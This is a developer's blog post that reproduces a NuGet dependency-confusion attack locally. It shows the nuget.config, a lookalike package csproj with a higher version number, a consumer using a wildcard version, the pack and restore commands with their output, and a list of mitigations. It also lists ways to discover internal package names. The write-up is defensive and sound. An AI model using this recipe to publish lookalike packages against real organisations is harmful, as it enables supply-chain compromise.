Was listening to the Episode 789 - Developers and Security with ReyBango Hanselminutes podcast by Scott Hanselman when I heard about the Dependency Confusion coined by Alex Birsan vulnerability with npm, pip, Maven/Gradle, RubyGems, Docker, Artifactory and nuget.
This caught my attention since like most companies have private nuget packages to share common libraries. We have multiple sources for our packages from on-prem Klondike servers to Azure Artifacts. I wanted to reproduce just the nuget package restore to an unsanctioned package.
From the Visual Studio UI, one gets the impression that nuget sources at the top of the list get priority. This isn't true. All the sources are accessed at the same time and the one that comes back first wins.
Below is a bad version of the nuget package that could contain malicious code. This version has the same packageId and assembly name as the legitimate version, but with a higher version number.
But how is a bad actor going to know the assembly name or packageIds used for internal packages?
- Information like this could be leaked in stack traces from security misconfigurations from company sites.
- Information disclosure from existing exploit in play.
- Unintentional information disclosure from copy and paste.
- It's not hard to guess the convention from some companies (ex. Microsoft.Abc.Xyz).
- Brute force blanket of possiblities.
- Could be found from github dorking.
- Internal bad actor with knowledge.
- Other?
Exploit
nuget.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" protocolVersion="3" />
<add key="internal1" value="https://nuget.somecompany1.com/api/odata" />
<add key="internal2" value="https://nuget.somecompany2.com/api/odata" />
<add key="payments" value="https://somecompany.pkgs.visualstudio.com/_packaging/xyz/nuget/v3/index.json" />
</packageSources>
<packageRestore>
<add key="enabled" value="True" />
<add key="automatic" value="True" />
</packageRestore>
<bindingRedirects>
<add key="skip" value="False" />
</bindingRedirects>
<packageManagement>
<add key="format" value="1" />
<add key="disabled" value="False" />
</packageManagement>
<packageSourceCredentials>
<xyz>
<add key="Username" value="%AZURE_USERNAME%" />
<add key="ClearTextPassword" value="%AZURE_ARTIFACT_TOKEN%" />
</xyz>
</packageSourceCredentials>
</configuration>
Library Csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>netcoreapp3.1</TargetFramework>
<AssemblyName>SomeCompany.Group.Security.Utilities</AssemblyName>
<RootNamespace>SomeCompany.Group.Security.Utilities</RootNamespace>
<PackageId>SomeCompany.Group.Security.Utilities</PackageId>
<Version>2.3.5</Version>
<Authors>WhiteHat</Authors>
<Company>Some Company</Company>
</PropertyGroup>
</Project>
This nupkg is then published to nuget.org or other package sources.
Consumer of Package
<Project Sdk="Microsoft.NET.Sdk.Web">
<PropertyGroup>
<TargetFramework>netcoreapp3.1</TargetFramework>
<AssemblyName>SomeCompany.Group.Service.Api</AssemblyName>
<RootNamespace>SomeCompany.Group.Service.Api</RootNamespace>
<Version>1.0.0</Version>
<UserSecretsId>4953f687-2a7a-4a16-8ea6-ee66faaa5b1d</UserSecretsId>
<DockerDefaultTargetOS>Linux</DockerDefaultTargetOS>
<DockerfileContext>..\..</DockerfileContext>
</PropertyGroup>
<ItemGroup>
...
<PackageReference Include="Microsoft.Extensions.Configuration.UserSecrets" Version="5.0.0" />
<PackageReference Include="Microsoft.VisualStudio.Azure.Containers.Tools.Targets" Version="1.10.9" />
<PackageReference Include="Serilog" Version="2.10.0" />
<PackageReference Include="Serilog.Sinks.Console" Version="3.1.1" />
<PackageReference Include="Serilog.Sinks.File" Version="4.1.0" />
<PackageReference Include="SomeCompany.Group.Security.Utilities" Version="*" />
<PackageReference Include="Swashbuckle.AspNetCore" Version="6.1.4" />
<PackageReference Include="Swashbuckle.AspNetCore.Annotations" Version="6.1.4" />
<PackageReference Include="Swashbuckle.AspNetCore.Filters" Version="7.0.2" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\Common\Logging.Service\Logging.Service.csproj" />
...
</ItemGroup>
</Project>
The consumer just updates the nuget packages through UI or in the case above uses the latest version automatically:
<PackageReference Include="SomeCompany.Group.Security.Utilities" Version="*" />
Run from the directory of the library to be packaged.
dotnet pack
xcopy .\bin\Debug\SomeCompany.Group.Security.Utilities.2.3.5.nupkg C:\packages
Add to nuget sources force restore of packages:
dotnet nuget add source C:\packages -n local
dotnet restore -f -v n
Output
dotnet restore -f -v n
Build started 5/26/2021 6:17:24 PM.
1>Project "C:\git\SomeCompany\service\src\API\Service.API.csproj" on node 1 (Restore target(s)).
1>_GetAllRestoreProjectPathItems:
Determining projects to restore...
Restore:
...
Restoring packages for C:\git\SomeCompany\service\src\API\Service.API.csproj...
...
GET https://api.nuget.org/v3-flatcontainer/SomeCompany.Group.Security.Utilities/index.json
Committing restore...
Restored
Assets file has not changed. Skipping assets file writing. Path: C:\git\SomeCompany\service\src\Common\Logging.Service\obj\project.assets.json
Committing restore...
CACHE https://somecompany.pkgs.visualstudio.com/_packaging/09cad1ce-46cc-43bc-86e2-d0bf95f432f2/nuget/v3/flat2/SomeCompany.Group.Security.Utilities/index.json
NotFound https://api.nuget.org/v3-flatcontainer/SomeCompany.Group.Security.Utilities/index.json 375ms
Committing restore...
Writing assets file to disk. Path: C:\git\SomeCompany\service\src\API\obj\project.assets.json
Restored C:\git\SomeCompany\service\src\API\Service.API.csproj (in 1 sec).
NuGet Config files used:
C:\git\SomeCompany\service\NuGet.Config
C:\Users\jtong\AppData\Roaming\NuGet\NuGet.Config
C:\Program Files (x86)\NuGet\Config\Microsoft.VisualStudio.FallbackLocation.config
C:\Program Files (x86)\NuGet\Config\Microsoft.VisualStudio.Offline.config
Feeds used:
https://api.nuget.org/v3/index.json
https://nuget.somecompany1.com/api/odata
https://nuget.somecompany2.com/api/odata
https://somecompany.pkgs.visualstudio.com/_packaging/s/nuget/v3/index.json
C:\packages
1>Done Building Project "C:\git\SomeCompany\service\src\API\Service.API.csproj" (Restore target(s)).
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:02.08
Bad package is now used in consumer project. In this test case it came from c:\packages
, but it could have easily been published to nuget.org
.
Mitigation
Microsoft has a guide on mitigation options .
Below is what I've gathered:
- Remove unnecessary references to package sources if possible.
- Register an ID prefix for your company.
- If your nuget packages all start with SomeCompany, then this prevents unauthorized parties from publishing to nuget.org. Microsoft has done this for their packages.
- Sign your nuget package .
- Don't references nuget.org directly.
- This can be an issue if the infrastructure isn't well maintained for the internal nuget source that provides access to all your nuget packages including those from nuget.org.
Future
Nuget is working to help mitigate this vulnerability with package namespaces.
References
- medium.com/@alex.birsan/dependency-confusio..
- blog.maartenballiauw.be/post/2021/05/05/bui..
- schibsted.com/blog/dependency-confusion-how..
- github.com/NuGet/Home/issues/10566
- github.com/NuGet/Home/pull/10660
- docs.microsoft.com/en-us/nuget/concepts/sec..
- azure.microsoft.com/en-us/resources/3-ways-..
- docs.microsoft.com/en-us/nuget/nuget-org/id..
- docs.microsoft.com/en-us/nuget/create-packa..